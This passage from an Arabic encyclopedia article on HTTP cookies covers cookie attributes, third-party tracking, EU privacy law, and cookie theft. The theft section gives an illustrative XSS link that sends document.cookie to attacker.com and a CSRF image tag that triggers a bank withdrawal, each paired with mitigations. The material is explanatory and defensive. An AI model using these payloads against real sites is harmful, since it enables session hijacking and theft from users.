Set-Cookie: HSID=AYQEVn…DKrdst; Domain=.foo.com; Path=/; Expires=Wed, 13 Jan 2021 22:23:01 GMT; HttpOnly
Set-Cookie: SSID=Ap4P…GTEq; Domain=foo.com; Path=/; Expires=Wed, 13 Jan 2021 22:23:01 GMT; Secure; HttpOnly
…
</syntaxhighlight>

ملف تعريف الارتباط الأول، <code>LSID</code>، ليس له سمة <code>Domain</code>، ولديه سمة <code>Path</code> تم تعيينها على <code>/accounts</code>. يخبر هذا المتصفح باستخدام ملف تعريف الارتباط فقط عند طلب الصفحات الموجودة في <code>docs.foo.com/accounts</code> (يتم اشتقاق النطاق من نطاق الطلب). سيتم استخدام ملفي تعريف الارتباط الآخرين، <code>HSID</code> و <code>SSID</code>، عندما يطلب المتصفح أي نطاق فرعي في.<code>foo.com</code> على أي مسار (على سبيل المثال <code>www.foo.com/bar</code>). تعتبر النقطة المسبقة اختيارية في المعايير الحديثة، ولكن يمكن إضافتها لتحقيق التوافق مع التنفيذات المستندة إلى آر إف سي 2109.

==== تاريخ الانتهاء والحد الأقصى للعمر ====
تعرف سمة <code>Expires</code> تاريخًا ووقتًا محددين يجب على المتصفح أن يحذف فيهما ملف تعريف الارتباط. يتم تحديد التاريخ والوقت في النموذج <code>Wdy, DD Mon YYYY HH:MM:SS GMT</code>، أو في النموذج <code>Wdy, DD Mon YY HH:MM:SS GMT</code> لقيم YY حيث YY أكبر من أو يساوي 0 وأقل من أو يساوي 69.

بدلاً من ذلك، يمكن استخدام سمة <code>Max-Age</code> لتعيين انتهاء صلاحية ملف تعريف الارتباط كفاصل زمني من الثواني في المستقبل، نسبة إلى الوقت الذي تلقى فيه المتصفح ملف تعريف الارتباط. فيما يلي مثال على ثلاثة حقول رأس <code>Set-Cookie</code> تم استلامها من موقع ويب بعد تسجيل دخول المستخدم:
<syntaxhighlight lang="http">
HTTP/1.0 200 OK
Set-Cookie: lu=Rg3vHJZnehYLjVg7qi3bZjzg; Expires=Tue, 15 Jan 2013 21:47:38 GMT; Path=/; Domain=.example.com; HttpOnly
Set-Cookie: made_write_conn=1295214458; Path=/; Domain=.example.com
Set-Cookie: reg_fb_gate=deleted; Expires=Thu, 01 Jan 1970 00:00:01 GMT; Path=/; Domain=.example.com; HttpOnly
</syntaxhighlight>

من المقرر أن تنتهي صلاحية ملف تعريف الارتباط الأول، <code>lu</code>، في 15 يناير 2013. سيتم استخدامه بواسطة متصفح العميل حتى ذلك الوقت. ملف تعريف الارتباط الثاني، <code>made_write_conn</code>، ليس له تاريخ انتهاء صلاحية، مما يجعله ملف تعريف ارتباط جلسة. سيتم حذفه بعد أن يقوم المستخدم بإغلاق المتصفح الخاص به. تم تغيير قيمة ملف تعريف الارتباط الثالث، <code>reg_fb_gate</code>، إلى ''delete''، مع وقت انتهاء صلاحية في الماضي. سيقوم المتصفح بحذف ملف تعريف الارتباط هذا على الفور لأن تاريخ انتهاء صلاحيته قد انتهى. لاحظ أنه سيتم حذف ملف تعريف الارتباط فقط إذا كانت سمات المجال والمسار في حقل <code>Set-Cookie</code> تتطابق مع القيم المستخدمة عند إنشاء ملف تعريف الارتباط.

، لم يدعم إنترنت إكسبلورر برنامج <code>Max-Age</code>.

==== آمن وبروتوكول نقل النص الفائق فقط ====
لا تحتوي السمات <code>Secure</code> و <code>HttpOnly</code> على قيم مرتبطة. بل إن وجود أسماء السمات الخاصة بهم فقط يشير إلى أنه ينبغي تمكين سلوكياتهم.

تهدف الخاصية <code>Secure</code> إلى إبقاء اتصال ملفات تعريف الارتباط مقتصرًا على النقل المشفر، وتوجيه المتصفحات لاستخدام ملفات تعريف الارتباط فقط عبر الاتصالات [[بروتوكول نقل النص الفائق الآمن|الآمنة/المشفرة]]. ومع ذلك، إذا قام خادم الويب بتعيين ملف تعريف ارتباط بسمة آمنة من اتصال غير آمن، فما زال من الممكن اعتراض ملف تعريف الارتباط عندما يتم إرساله إلى المستخدم من خلال [[هجوم الوسيط|هجمات الرجل في المنتصف]]. لذلك، للحصول على أقصى قدر من الأمان، يجب تعيين ملفات تعريف الارتباط ذات السمة Secure فقط عبر اتصال آمن.

تأمر السمة <code>HttpOnly</code> المتصفحات بعدم عرض ملفات تعريف الارتباط من خلال قنوات أخرى غير طلبات بروتوكول نقل النص الفائق (وبروتوكول نقل النص الفائق الآمن). وهذا يعني أن ملف تعريف الارتباط لا يمكن الوصول إليه عبر لغات البرمجة النصية من جانب العميل (خاصة [[جافا سكريبت]])، وبالتالي لا يمكن سرقته بسهولة عبر [[برمجة عابرة للمواقع|البرمجة النصية عبر المواقع]] (تقنية هجوم شاملة).

== إعدادات المتصفح ==
تدعم معظم المتصفحات الحديثة ملفات تعريف الارتباط وتسمح للمستخدم بتعطيلها. فيما يلي بعض الخيارات الشائعة:

* لتمكين أو تعطيل ملفات تعريف الارتباط بشكل كامل، بحيث يتم قبولها دائمًا أو حظرها دائمًا.
* لعرض ملفات تعريف الارتباط وحذفها بشكل انتقائي باستخدام مدير ملفات تعريف الارتباط.
* لمسح جميع البيانات الخاصة بالكامل، بما في ذلك ملفات تعريف الارتباط.

تتوفر أيضًا أدوات إضافية لإدارة أذونات ملفات تعريف الارتباط.

== ملف تعريف الارتباط الخاص بطرف ثالث ==


تتمتع ملفات تعريف الارتباط ببعض التأثيرات المهمة على خصوصية مستخدمي الويب وإخفاء هويتهم. على الرغم من أن ملفات تعريف الارتباط يتم إرسالها فقط إلى الخادم الذي يقوم بإعدادها أو إلى خادم في نفس نطاق الإنترنت، فقد تحتوي صفحة الويب على صور أو مكونات أخرى مخزنة على خوادم في نطاقات أخرى. تُسمى ملفات تعريف الارتباط التي يتم تعيينها أثناء استرجاع هذه المكونات ''بملفات تعريف الارتباط الخاصة بالجهات الخارجية''. ملف تعريف الارتباط الخاص بطرف ثالث، ينتمي إلى مجال مختلف عن المجال الموضح في شريط العناوين. يظهر هذا النوع من ملفات تعريف الارتباط عادةً عندما تعرض صفحات الويب محتوى من مواقع ويب خارجية، مثل [[إعلانات الراية|إعلانات الشعارات]]. يفتح هذا المجال [[تتبع الويب|لتتبع]] سجل تصفح المستخدم ويستخدمه المعلنون لتقديم إعلانات ذات صلة بكل مستخدم.

[[ملف:Third party cookie.png|تصغير|في هذا المثال الخيالي، قامت شركة إعلانية بوضع لافتات في موقعين على الويب. من خلال استضافة صور اللافتات على خوادمها واستخدام ملفات تعريف الارتباط الخاصة بطرف ثالث، تتمكن شركة الإعلان من تتبع تصفح المستخدمين عبر هذين الموقعين.]]
على سبيل المثال، لنفترض أن المستخدم يزور <code>www.example.org</code>. يحتوي هذا الموقع على إعلان من <code>ad.foxytracking.com</code>، والذي عند تنزيله، يقوم بتعيين ملف تعريف ارتباط ينتمي إلى نطاق الإعلان (<code>ad.foxytracking.com</code>). ثم يقوم المستخدم بزيارة موقع ويب آخر، <code>www.foo.com</code>، والذي يحتوي أيضًا على إعلان من <code>ad.foxytracking.com</code> ويقوم بتعيين ملف تعريف ارتباط ينتمي إلى هذا المجال (<code>ad.foxytracking.com</code>). في النهاية، سيتم إرسال كلا ملفات تعريف الارتباط هذه إلى المعلن عند تحميل إعلاناته أو زيارة موقعه الإلكتروني. يمكن للمعلن بعد ذلك استخدام ملفات تعريف الارتباط هذه لإنشاء سجل تصفح للمستخدم عبر جميع مواقع الويب التي تحتوي على إعلانات من هذا المعلن، من خلال استخدام حقل رأس [[حقل المرجع في ترويسة بروتوكول نقل النص الفائق]].

، كانت بعض المواقع الإلكترونية تقوم بتعيين ملفات تعريف الارتباط لتكون قابلة للقراءة لأكثر من 100 نطاق تابع لجهة خارجية. في المتوسط، كان موقع إلكتروني واحد يقوم بتعيين 10 ملفات تعريف ارتباط، مع وصول الحد الأقصى لعدد ملفات تعريف الارتباط (التابعة للجهات الخارجية والأولي) إلى أكثر من 800.

توصي المعايير الأقدم لملفات تعريف الارتباط، آر إف سي 2109 وآر إف سي 2965، بأن تحمي المتصفحات خصوصية المستخدم ولا تسمح بمشاركة ملفات تعريف الارتباط بين الخوادم بشكل افتراضي. ومع ذلك، فإن المعيار الأحدث، آر إف سي 6265، يسمح صراحةً لوكلاء المستخدم بتنفيذ سياسة ملفات تعريف الارتباط الخاصة بطرف ثالث التي يرغبون فيها. تحتوي معظم متصفحات الويب الحديثة على  يمكنها [[منع الإعلانات|حظر]] ملفات تعريف الارتباط التابعة لجهات خارجية. منذ عام 2020، قامت [[سفاري (متصفح ويب)|سفاري]]، [[فيرفكس]]، و<nowiki/>[[بريف (متصفح ويب)|بريف]] بحظر جميع ملفات تعريف الارتباط التابعة لجهات خارجية بشكل افتراضي. يتيح سفاري للمواقع المضمنة استخدام واجهة برمجة تطبيقات الوصول إلى التخزين لطلب الإذن لتعيين ملفات تعريف الارتباط الخاصة بالطرف الأول. في مايو 2020، قدم [[جوجل كروم]] 83 ميزات جديدة لحظر ملفات تعريف الارتباط التابعة لجهات خارجية بشكل افتراضي في وضع التصفح المتخفي للتصفح الخاص، مما يجعل الحظر اختياريًا أثناء التصفح العادي. أضاف نفس التحديث أيضًا خيارًا لحظر ملفات تعريف الارتباط الخاصة بالطرف الأول. في أبريل 2024، أرجأ كروم حظر ملفات تعريف الارتباط التابعة لجهات خارجية بشكل افتراضي إلى عام 2025. في يوليو 2024، أعلنت جوجل عن خطة لتجنب حظر ملفات تعريف الارتباط الخاصة بالأطراف الثالثة بشكل افتراضي وبدلًا من ذلك مطالبة المستخدمين بالسماح بملفات تعريف الارتباط الخاصة بالأطراف الثالثة.

== الخصوصية ==
تُشكّل إمكانية إنشاء ملف تعريف شخصي للمستخدمين تهديدًا للخصوصية، خاصةً عند إجراء التتبع عبر نطاقات متعددة باستخدام ملفات تعريف ارتباط تابعة لجهات خارجية. لهذا السبب، وضعت بعض الدول تشريعات بشأن ملفات تعريف الارتباط.

إن مشغلي مواقع الويب الذين لا يكشفون عن استخدام ملفات تعريف الارتباط الخاصة بأطراف ثالثة للمستهلكين يواجهون خطر الإضرار بثقة المستهلك إذا تم اكتشاف استخدام ملفات تعريف الارتباط. يؤدي الإفصاح الواضح (مثل [[سياسة الخصوصية]]) إلى القضاء على أي آثار سلبية لاكتشاف ملفات تعريف الارتباط هذه.

وضعت حكومة [[الولايات المتحدة]] قواعد صارمة بشأن إعداد ملفات تعريف الارتباط في عام 2000 بعد الكشف عن أن [[مكتب السياسة الوطنية لمكافحة المخدرات|مكتب سياسة المخدرات]] في البيت الأبيض استخدم ملفات تعريف الارتباط لتتبع مستخدمي الكمبيوتر الذين يشاهدون إعلاناتها المناهضة للمخدرات عبر الإنترنت. في عام 2002، اكتشف الناشط في مجال الخصوصية دانييل براندت أن [[وكالة المخابرات المركزية]] كانت تترك ملفات تعريف ارتباط دائمة على أجهزة الكمبيوتر التي زارت موقعها على شبكة الإنترنت. عندما تم إخطارها بأنها تنتهك السياسة، ذكرت وكالة المخابرات المركزية أن ملفات تعريف الارتباط هذه لم يتم تعيينها عمدًا وتوقفت عن تعيينها. في 25 ديسمبر 2005، اكتشف براندت أن [[وكالة الأمن القومي الأمريكية|وكالة الأمن القومي]] كانت تترك ملفين تعريف ارتباط دائمين على أجهزة الكمبيوتر الخاصة بالزائرين بسبب ترقية البرنامج. بعد إبلاغها، قامت وكالة الأمن القومي على الفور بتعطيل ملفات تعريف الارتباط.

=== توجيه ملفات تعريف الارتباط الخاص بالاتحاد الأوروبي ===
في عام 2002، أطلق الاتحاد الأوروبي التوجيه بشأن الخصوصية والاتصالات الإلكترونية (توجيه الخصوصية الإلكترونية)، وهي سياسة تتطلب موافقة المستخدمين النهائيين على وضع ملفات تعريف الارتباط، والتقنيات المماثلة لتخزين المعلومات والوصول إليها على معدات المستخدمين. وعلى وجه الخصوص، تنص الفقرة 3 من المادة 5 على أنه لا يجوز تخزين البيانات غير الضرورية من الناحية الفنية على جهاز كمبيوتر المستخدم إلا إذا تم تزويد المستخدم بمعلومات حول كيفية استخدام هذه البيانات، ومنح المستخدم إمكانية رفض عملية التخزين هذه. لا يتطلب التوجيه من المستخدمين تفويض أو إخطارهم باستخدام ملفات تعريف الارتباط المطلوبة وظيفيًا لتقديم الخدمة التي طلبوها، على سبيل المثال للاحتفاظ بالإعدادات أو تخزين جلسات تسجيل الدخول أو تذكر ما هو موجود في سلة التسوق الخاصة بالمستخدم.

وفي عام 2009، تم تعديل القانون بموجب التوجيه 2009/136/إي سي، الذي تضمن تغييراً في المادة 5، الفقرة 3. بدلاً من توفير خيار للمستخدمين لاختيار عدم تخزين ملفات تعريف الارتباط، يتطلب التوجيه المنقح الحصول على موافقة لتخزين ملفات تعريف الارتباط. يتم ربط تعريف الموافقة بالتعريف الوارد في قانون حماية البيانات الأوروبي، أولاً توجيه حماية البيانات لعام 1995 ثم [[النظام الأوروبي العام لحماية البيانات|اللائحة العامة لحماية البيانات]] (GDPR). وبما أن تعريف الموافقة قد تم تعزيزه في نص اللائحة العامة لحماية البيانات، فقد كان لهذا تأثير في زيادة جودة الموافقة المطلوبة من قبل أولئك الذين يقومون بتخزين المعلومات والوصول إليها مثل ملفات تعريف الارتباط على أجهزة المستخدمين. ومع ذلك، في قضية تم الفصل فيها بموجب توجيه حماية البيانات، أكدت [[محكمة العدل للاتحاد الأوروبي|محكمة العدل التابعة للاتحاد الأوروبي]] في وقت لاحق أن القانون السابق كان يتضمن نفس الجودة القوية للموافقة مثل الصك الحالي. بالإضافة إلى متطلب الموافقة الذي ينبع من تخزين المعلومات أو الوصول إليها على جهاز المستخدم، فإن المعلومات الموجودة في العديد من ملفات تعريف الارتباط ستعتبر بيانات شخصية بموجب اللائحة العامة لحماية البيانات وحدها، وستتطلب أساسًا قانونيًا للمعالجة. لقد كان هذا هو الحال منذ توجيه حماية البيانات لعام 1995، والذي استخدم تعريفًا متطابقًا للبيانات الشخصية، على الرغم من أن اللائحة العامة لحماية البيانات في الفقرة التفسيرية 30 توضح أن معرفات ملفات تعريف الارتباط مشمولة. في حين أن معالجة البيانات بموجب اللائحة العامة لحماية البيانات لا تتطلب الموافقة، فإن خصائص الإعلان السلوكي تعني أنه من الصعب أو المستحيل تبريره تحت أي سبب آخر.

يجب أن تفي الموافقة بموجب الجمع بين اللائحة العامة لحماية البيانات وتوجيه الخصوصية الإلكترونية بعدد من الشروط فيما يتعلق بملفات تعريف الارتباط. يجب أن يتم تقديمها بحرية ولا لبس فيها: تم حظر المربعات المحددة مسبقًا بموجب كل من توجيه حماية البيانات لعام 1995 واللائحة العامة لحماية البيانات (الفقرة 32). ينص قانون حماية البيانات العامة (GDPR) بشكل واضح على أن الموافقة يجب أن تكون «سهلة السحب مثلها مثل منحها»، وهذا يعني أن زر «رفض الكل» يجب أن يكون من السهل الوصول إليه من حيث النقرات والرؤية مثل زر «قبول الكل». يجب أن تكون محددة ومستنيرة، بمعنى أن الموافقة تتعلق بأغراض معينة لاستخدام هذه البيانات، ويجب تسمية جميع المنظمات التي تسعى إلى استخدام هذه الموافقة على وجه التحديد. كما قضت [[محكمة العدل للاتحاد الأوروبي|محكمة العدل التابعة للاتحاد الأوروبي]] بأن الموافقة يجب أن تكون «فعّالة وفي الوقت المناسب»، وهذا يعني أنه يجب الحصول عليها قبل وضع ملفات تعريف الارتباط وبدء معالجة البيانات بدلاً من الحصول عليها بعد ذلك.

وكانت استجابة الصناعة سلبية إلى حد كبير. ويصف روبرت بوند من شركة المحاماة «سبيتشلي بيرشام» التأثيرات بأنها «واسعة النطاق ومكلفة بشكل لا يصدق» بالنسبة «لجميع الشركات في المملكة المتحدة». يزعم سيمون ديفيس من [[الخصوصية الدولية|منظمة الخصوصية الدولية]] أن التنفيذ السليم من شأنه أن «يدمر الصناعة بأكملها». ومع ذلك، يلاحظ العلماء أن الطبيعة المرهقة للنوافذ المنبثقة لملفات تعريف الارتباط تنبع من محاولة الاستمرار في تشغيل نموذج الأعمال من خلال الطلبات المعقدة التي قد تكون غير متوافقة مع اللائحة العامة لحماية البيانات.

وتشير الدراسات الأكاديمية والهيئات التنظيمية إلى وجود عدم امتثال واسع النطاق للقانون. أظهرت دراسة قامت بمسح 10000 موقع ويب في المملكة المتحدة أن 11.8% فقط من المواقع تلتزم بالمتطلبات القانونية الدنيا، مع توفير 33.4% فقط من المواقع التي تمت دراستها آلية لرفض ملفات تعريف الارتباط كانت سهلة الاستخدام مثل قبولها. أظهرت دراسة أجريت على 17000 موقع ويب أن 84% من المواقع انتهكت هذا المعيار، بالإضافة إلى ذلك وجدت أن العديد منها وضعت ملفات تعريف الارتباط الخاصة بأطراف ثالثة دون إشعار على الإطلاق. صرحت الجهة التنظيمية في المملكة المتحدة، ، في عام 2019 أن «إطار الشفافية والموافقة» للصناعة من مجموعة تكنولوجيا الإعلان، [[مكتب الإعلان التفاعلي]]، «غير كافٍ لضمان الشفافية والمعالجة العادلة للبيانات الشخصية المعنية، وبالتالي غير كافٍ أيضًا لتوفير الموافقة الحرة والمستنيرة، مع ما يترتب على ذلك من آثار على الامتثال للخصوصية الإلكترونية (PECR)». تسمح العديد من الشركات التي تبيع حلول الامتثال (منصات إدارة الموافقة) بتكوينها بطرق غير قانونية بشكل واضح، وهو ما لاحظه العلماء ويثير تساؤلات حول التخصيص المناسب للمسؤولية.

تم اقتراح مواصفات [[رابطة الشبكة العالمية]] تسمى [[بي 3 بي]] للخوادم لتوصيل سياسة الخصوصية الخاصة بها إلى المتصفحات، مما يسمح بالتعامل التلقائي القابل للتكوين من قبل المستخدم. ومع ذلك، فإن عددًا قليلًا من المواقع الإلكترونية تنفذ المواصفات، وقد أوقفت رابطة الشبكة العالمية العمل على المواصفات.

يمكن حظر ملفات تعريف الارتباط الخاصة بجهات خارجية بواسطة معظم المتصفحات لزيادة الخصوصية وتقليل التتبع بواسطة شركات الإعلان والتتبع دون التأثير سلبًا على تجربة الويب للمستخدم على جميع المواقع. تستخدم بعض المواقع «جدران ملفات تعريف الارتباط»، والتي تجعل الوصول إلى الموقع مشروطًا بالسماح بملفات تعريف الارتباط إما من الناحية الفنية في المتصفح، أو من خلال الضغط على «قبول»، أو كليهما. في عام 2020، أعلن [[مجلس حماية البيانات الأوروبي]]، الذي يتألف من جميع الجهات التنظيمية لحماية البيانات في الاتحاد الأوروبي، أن جدران ملفات تعريف الارتباط غير قانونية.<blockquote>من أجل منح الموافقة بحرية، لا ينبغي أن يكون الوصول إلى الخدمات والوظائف مشروطًا بموافقة المستخدم على تخزين المعلومات، أو الوصول إلى المعلومات المخزنة بالفعل، في الجهاز الطرفي للمستخدم (ما يسمى بجدران ملفات تعريف الارتباط).</blockquote>لدى العديد من مشغلي الإعلانات خيار إلغاء الاشتراك في الإعلانات السلوكية، مع وجود ملف تعريف ارتباط عام في المتصفح يوقف الإعلانات السلوكية. ومع ذلك، فإن هذا غالبًا ما يكون غير فعال ضد العديد من أشكال التتبع، مثل التتبع من الطرف الأول الذي يتزايد شعبيته لتجنب تأثير المتصفحات التي تحظر ملفات تعريف الارتباط الخاصة بالأطراف الثالثة. وعلاوة على ذلك، إذا كان مثل هذا الإعداد أكثر صعوبة في وضعه من قبول التتبع، فإنه يظل خرقًا لشروط توجيه الخصوصية الإلكترونية.


==سرقة ملفات تعريف الارتباط واختطاف الجلسة==

تستخدم معظم مواقع الويب ملفات تعريف الارتباط كمعرفات وحيدة لجلسات المستخدمين، نظرًا لوجود قيود وثغرات أمنية في الطرق الأخرى لتحديد مستخدمي الويب. إذا استخدم موقع ويب ملفات تعريف الارتباط كمعرفات للجلسات، يمكن للمهاجمين انتحال هوية طلبات المستخدمين بسرقة مجموعة كاملة من ملفات تعريف ارتباط الضحايا. من وجهة نظر خادم الويب، يمتلك طلب المهاجم نفس مصادقة طلبات الضحية؛ وبالتالي، يُنفذ الطلب نيابةً عن جلسة الضحية.

مذكورة هنا سيناريوهات مختلفة لسرقة ملفات تعريف الارتباط واختطاف جلسة المستخدم (حتى بدون سرقة ملفات تعريف ارتباط المستخدم) والتي تعمل مع مواقع الويب التي تعتمد فقط على ملفات تعريف الارتباط بروتوكول نقل النص الفائق لتحديد هوية المستخدم.

=== التنصت على الشبكة ===
[[ملف:Cookie-sniffing.svg|تصغير|يمكن سرقة ملف تعريف الارتباط بواسطة جهاز كمبيوتر آخر يُسمح له بالقراءة من الشبكة.]]

يمكن اعتراض حركة المرور على الشبكة وقراءتها بواسطة أجهزة كمبيوتر على الشبكة بخلاف المرسل والمستقبل (خاصة عبر شبكة [[واي فاي]] المفتوحة [[نص واضح|غير المشفرة]]). يتضمن هذا المرور ملفات تعريف الارتباط المرسلة عبر [[جلسة (حاسوب)|جلسات بروتوكول نقل النص الفائق]] غير المشفرة العادية. عندما لا يتم تشفير حركة المرور على الشبكة، يمكن للمهاجمين قراءة اتصالات المستخدمين الآخرين على الشبكة، بما في ذلك ملفات تعريف الارتباط بروتوكول نقل النص الفائق بالإضافة إلى المحتوى الكامل للمحادثات، لغرض [[هجوم الوسيط|شن هجوم الرجل في المنتصف]].

يمكن للمهاجم استخدام ملفات تعريف الارتباط التي تم اعتراضها لانتحال شخصية المستخدم وإجراء مهمة ضارة، مثل تحويل الأموال من الحساب المصرفي للضحية.

يمكن حل هذه المشكلة عن طريق تأمين الاتصال بين جهاز الكمبيوتر الخاص بالمستخدم والخادم باستخدام بروتوكول [[بروتوكول طبقة المقابس الآمنة|طبقة النقل الآمن]] ([[بروتوكول نقل النص الفائق الآمن]]) لتشفير الاتصال. يمكن للخادم تحديد علامة <code>Secure</code> أثناء تعيين ملف تعريف الارتباط، مما سيؤدي إلى قيام المتصفح بإرسال ملف تعريف الارتباط فقط عبر قناة مشفرة، مثل اتصال تي إل إس.

=== نشر نطاق فرعي زائف: تسميم ذاكرة التخزين المؤقت لنظام أسماء النطاقات ===
إذا تمكن المهاجم من جعل [[خادم الأسماء]] يخزن خادم الأسماء مزيفًا (يُسمى [[انتحال أسماء النطاقات|تسميم ذاكرة التخزين المؤقت لخادم الأسماء]])، فقد يسمح هذا للمهاجم بالوصول إلى ملفات تعريف الارتباط الخاصة بالمستخدم. على سبيل المثال، يمكن للمهاجم استخدام تسميم ذاكرة التخزين المؤقت لنظام أسماء النطاقات لإنشاء إدخال DNS مزيف لـ <code>f12345.www.example.com</code> والذي يشير إلى [[عنوان بروتوكول الإنترنت]] الخاص بخادم المهاجم. يمكن للمهاجم بعد ذلك نشر عنوان محدد موقع الموارد الموحد للصورة من خادمه الخاص (على سبيل المثال، <code></code>). سيقوم الضحايا الذين يقرؤون رسالة المهاجم بتنزيل هذه الصورة من <code>f12345.www.example.com</code>. نظرًا لأن <code>f12345.www.example.com</code> هو نطاق فرعي لـ <code>www.example.com</code>، فإن متصفحات الضحايا سترسل جميع ملفات تعريف الارتباط المرتبطة بـ<code>example.com</code> إلى خادم المهاجم.

إذا تمكن المهاجم من تحقيق ذلك، فعادةً ما يكون ذلك خطأ [[مزود خدمة الإنترنت|مزودي خدمة الإنترنت]] لعدم تأمين خوادم DNS الخاصة بهم بشكل صحيح. ومع ذلك، يمكن تخفيف شدة هذا الهجوم إذا كان موقع الويب المستهدف يستخدم ملفات تعريف الارتباط الآمنة. في هذه الحالة، سيواجه المهاجم تحديًا إضافيًا يتمثل في الحصول على شهادة تي إل إس الخاصة بموقع الويب المستهدف من [[هيئة الشهادات|جهة إصدار الشهادات]]، نظرًا لأن ملفات تعريف الارتباط الآمنة لا يمكن نقلها إلا عبر اتصال مشفر. بدون شهادة تي إل إس مطابقة، ستعرض متصفحات الضحايا رسالة تحذيرية حول شهادة المهاجم غير الصالحة، وهو ما من شأنه أن يساعد في ردع المستخدمين عن زيارة موقع الويب الاحتيالي للمهاجم وإرسال ملفات تعريف الارتباط الخاصة بهم إلى المهاجم.

=== برمجة المواقع المتقاطعة: سرقة ملفات تعريف الارتباط ===


يمكن أيضًا سرقة ملفات تعريف الارتباط باستخدام تقنية تسمى البرمجة النصية عبر المواقع. يحدث هذا عندما يستغل المهاجم موقع ويب يسمح لمستخدميه بنشر محتوى [[لغة تأشير النص الترابطي]] و[[جافا سكريبت]] غير مفلتر. من خلال نشر أكواد لغة تأشير النص الترابطي وجافا سكريبت ضارة، يمكن للمهاجم أن يتسبب في قيام متصفح الويب الخاص بالضحية بإرسال ملفات تعريف الارتباط الخاصة بالضحية إلى موقع ويب يتحكم فيه المهاجم.

على سبيل المثال، قد يقوم المهاجم بنشر رسالة على <code>www.example.com</code> بالرابط التالي:

<syntaxhighlight lang="html">
<a href="#" onclick="window.location = 'http://attacker.com/stole.cgi?text=' + escape(document.cookie); return false;">Click here!</a>
</syntaxhighlight>

[[ملف:Cookie-theft.svg|تصغير|برمجة نصية عبر المواقع: ملف تعريف الارتباط الذي يجب أن يتم تبادله فقط بين الخادم والعميل يتم إرساله إلى طرف آخر.]]

عندما يقوم مستخدم آخر بالنقر فوق هذا الرابط، يقوم المتصفح بتنفيذ جزء التعليمات البرمجية داخل سمة <code>onclick</code>، وبالتالي استبدال السلسلة <code>document.cookie</code> بقائمة ملفات تعريف الارتباط التي يمكن الوصول إليها من الصفحة الحالية. ونتيجة لذلك، يتم إرسال هذه القائمة من ملفات تعريف الارتباط إلى خادم <code>attacker.com</code>. إذا كان النشر الضار للمهاجم موجودًا على موقع ويب بروتوكول نقل النص الفائق <code></code>، فسيتم أيضًا إرسال ملفات تعريف الارتباط الآمنة إلى attacker.com في نص عادي.

تقع على عاتق مطوري الموقع مسؤولية تصفية مثل هذه الأكواد الخبيثة.

يمكن التخفيف من حدة هذه الهجمات باستخدام ملفات تعريف الارتباط بروتوكول نقل النص الفائق فقط. لن تتمكن لغات البرمجة النصية مثل جافا سكريبت من الوصول إلى هذه الملفات، وبالتالي لن يتمكن المهاجم من جمعها.

=== برمجة المواقع المتقاطعة: طلب الوكيل ===
في الإصدارات الأقدم من العديد من المتصفحات، كانت هناك ثغرات أمنية في تنفيذ واجهة برمجة التطبيقات [[طلب نقل المعلومات]]. تتيح واجهة برمجة التطبيقات هذه للصفحات تحديد خادم وكيل من شأنه الحصول على الرد، ولا يخضع خادم الوكيل هذا [[سياسة المصدر الأوحد|لسياسة الأصل نفسه]]. على سبيل المثال، يقرأ الضحية منشورًا للمهاجم على <code>www.example.com</code>، ويتم تنفيذ البرنامج النصي للمهاجم في متصفح الضحية. يقوم البرنامج النصي بإنشاء طلب إلى <code>www.example.com</code> باستخدام خادم الوكيل <code>attacker.com</code>. نظرًا لأن الطلب يتعلق بـ<code>www.example.com</code>، فسيتم إرسال جميع ملفات تعريف الارتباط <code>example.com</code> مع الطلب، ولكن سيتم توجيهها عبر خادم الوكيل الخاص بالمهاجم. وبالتالي، سيكون المهاجم قادرًا على حصاد ملفات تعريف الارتباط الخاصة بالضحية.

لن ينجح هذا الهجوم مع ملفات تعريف الارتباط الآمنة، نظرًا لأنه لا يمكن نقلها إلا عبر اتصالات [[بروتوكول نقل النص الفائق الآمن]]، وبروتوكول نقل النص الفائق الآمن يفرض [[تعمية بين الطرفيات|تشفيرًا من البداية إلى النهاية]] (أي أن المعلومات مشفرة على متصفح المستخدم وفك تشفيرها على الخادم الوجهة). في هذه الحالة، لن يرى خادم الوكيل سوى البايتات الخام المشفرة لطلب بروتوكول نقل النص الفائق.

=== تزوير طلب عبر الموقع ===


على سبيل المثال، قد يتصفح بوب منتدى دردشة حيث نشر مستخدم آخر، مالوري، رسالة. لنفترض أن مالوري صممت عنصر صورة لغة تأشير النص الترابطي يشير إلى إجراء على موقع بوب الإلكتروني (بدلاً من ملف صورة)، على سبيل المثال،

<syntaxhighlight lang="xml"><img src="http://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory"></syntaxhighlight>

إذا احتفظ بنك بوب بمعلومات المصادقة الخاصة به في ملف تعريف الارتباط، وإذا لم تنته صلاحية ملف تعريف الارتباط، فإن محاولة متصفح بوب لتحميل الصورة ستؤدي إلى إرسال نموذج السحب مع ملف تعريف الارتباط الخاص به، وبالتالي تفويض معاملة دون موافقة بوب.

=== اختطاف الكوكيز ===
**اختطاف الكوكيز*' هو هجوم ضد [[إنترنت إكسبلورر|متصفح إنترنت إكسبلورر]] والذي يسمح للمهاجم بسرقة ملفات تعريف الارتباط الخاصة بجلسة المستخدم عن طريق خداع المستخدم لسحب كائن عبر الشاشة. اعتبرت شركة مايكروسوفت أن هذا الخلل منخفض المخاطر بسبب «مستوى التفاعل المطلوب من المستخدم»، وضرورة أن يكون المستخدم قد سجل الدخول بالفعل إلى موقع الويب الذي تمت سرقة ملف تعريف الارتباط الخاص به. وعلى الرغم من ذلك، حاول أحد الباحثين الهجوم على 150 من أصدقائهم على الفيسبوك وحصل على ملفات تعريف الارتباط الخاصة بـ80 منهم عبر [[هندسة اجتماعية (أمن)|الهندسة الاجتماعية]].

== عيوب ملفات تعريف الارتباط ==
بالإضافة إلى مخاوف الخصوصية، فإن ملفات تعريف الارتباط لها أيضًا بعض العيوب الفنية. على وجه الخصوص، فإنها لا تحدد هوية المستخدمين دائمًا بدقة، ويمكن استخدامها في هجمات أمنية، وغالبًا ما تكون على خلاف مع نمط الهندسة المعمارية للبرمجيات

نقل الحالة التمثيلية ([[رست (إنترنت)|رست]]).

=== تحديد غير دقيق ===
إذا تم استخدام أكثر من متصفح على جهاز كمبيوتر واحد، فعادةً ما يكون لكل متصفح مساحة تخزين منفصلة لملفات تعريف الارتباط. وبالتالي، لا تُعرّف ملفات تعريف الارتباط هوية الشخص، بل هي مزيج من حساب المستخدم وجهاز الكمبيوتر ومتصفح الويب. وبالتالي، فإن أي شخص يستخدم حسابات أو أجهزة كمبيوتر أو متصفحات متعددة لديه مجموعات متعددة من ملفات تعريف الارتباط.

